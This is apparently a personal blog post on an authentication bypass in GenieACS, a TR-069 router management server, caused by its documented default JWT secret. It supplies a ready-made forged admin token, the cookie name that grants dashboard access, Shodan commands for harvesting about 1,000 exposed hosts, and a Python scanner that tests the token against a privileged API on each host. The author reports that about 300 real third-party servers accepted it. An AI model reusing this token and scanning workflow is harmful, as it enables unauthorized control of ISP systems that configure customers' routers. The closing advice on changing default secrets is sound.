BackDrop:
So i was scouring shodan the other day and found this interesting piece of software called GenieACS, now GenieACS is a “Auto Configuration Server” for TR-069 enabled routers and similar devices, what this ACS server does is that it enables the ISP to perform firmware upgrades or change the wifi password remotely(among other things).
Routers are configured with a ACS server url and a user-pass combo to authenticate itself against the ACS, the router then periodically checks into the ACS using the TR-069 protocl (which is basically a XML API over HTTP) and then download and applies any configuration changes indicated by the ACS. ACS servers are fairly common among ISPs and other sufficient large network operators. GenieACS is also a opesource solution, so kudos to that.
The Problem:
Once i discovered GenieACS, i naturally started browsing its installation and configuration instructions to find its default credentials, instead i come across something very interesting…
now i started wondering how many might have actually bothered to change that, well how many installing GenieACS might actually know what jwt is ? (not everyone is a programmer).
If anyone is using “secret” as the secret (duh!), we should be able to create a jwt token, sign it and then use this token to log into GenieACS.
Lets find out how many made that mistake.
Before go any further lets take a look at the jwt token format that GenieACS uses.
The Token must contain the following data:
{ "username": "admin", "authMethod": "local", "iat": 1782574412 }
I discovered the format by installing GenieACS locally, logging in and then extracting and analyzing the jwt token it stored in the browser
The following is a signed token with expiry set to a few years in the future:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c
you can visualize it using jwt.io
All one needs to do, to gain access to a instance using “secret” as its secret, is to set a cookie named genieacs-ui-jwt, with its value being the jwt token we justed cooked up.
Once the cookie is set, on refreshing the page we should be presented with the dashboard.
Finding Exposed Instances
So lets use shodan to see how widespread this issue is, we’ll use the query http.html:"GenieACS"
looks like we have quite a few.
-
Lets quickly grab those addresses using shodan cli
shodan search 'http.html:"genieacs"' --limit 1000 > raw
-
Clean the data to obatin only ip addresses and ports
cat raw| cut -f1,2 > ip.txt
We will now build a python script to verify the misconfiguration.
Scanning For The Misconfiguration
We’ll use the following script to get our job done. (it’ll need the ip.txt file we created earlier)
The script basically does the following:
- Use the jwt token and visit a privileged api endpoint, if we get a 200 status code we know the
server is misconfigured. - It also verifies whether the server uses TLS and adjusts the url accordingly.
import requests
import urllib3
import threading
urllib3.disable_warnings()
cookies = {
'genieacs-ui-jwt': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c',
}
headers = {
'Accept': 'application/json, text/*',
'Accept-Language': 'en-US,en',
'Connection': 'keep-alive'
}
def check_host(url):
try:
response = requests.get(url+'/api/presets/?filter=true', cookies=cookies,headers=headers, verify=False)
if response.status_code==200:
print("[+] ",url)
except:
pass
def const_url(ip,port):
if(port!=443):
try:
res = requests.get("http://"+ip+":"+port,timeout=5)
except:
url = "http://"+ip+":"+port
return url
if(res.status_code==400):
#its https , we sent http request to https port
url = "https://"+ip+":"+port
return url
else:
url = "http://"+ip+":"+port
return url
else:
url = "https://"+ip+":"+port
return url
def check_misconf(ip,port):
check_host(const_url(ip,port))
with open('ip.txt') as infile:
for line in infile:
try:
ip,port = str(line).split()
thread = threading.Thread(target=check_misconf,args=(ip,str(port)))
thread.start()
except:
print("err")
pass
We now run python3 script.py > found.txt
.
Analysis
We had about a thousand addresses which we obtained from shodan
Our Script found around 300 servers which used “secret” as the secret
Now thats about 30% of the instances that we analyzed.
Takeaways
-
People install sofware with their eyes closed, they love copy pasting random commands.
In the case of GenieACS had their documentation saidRun this command to Setup genie :
genieacs-ui --ui-jwt-secret $(head -10 /dev/random|md5sum)
Instead of
genieacs-ui --ui-jwt-secret secret
The fate we saw above could be avaoided.
-
Write documentation carefully, account for the ingenuity of the stupid.
-
Change default secrets/credentials even if you dont know what you’re doing, ALWAYS!!!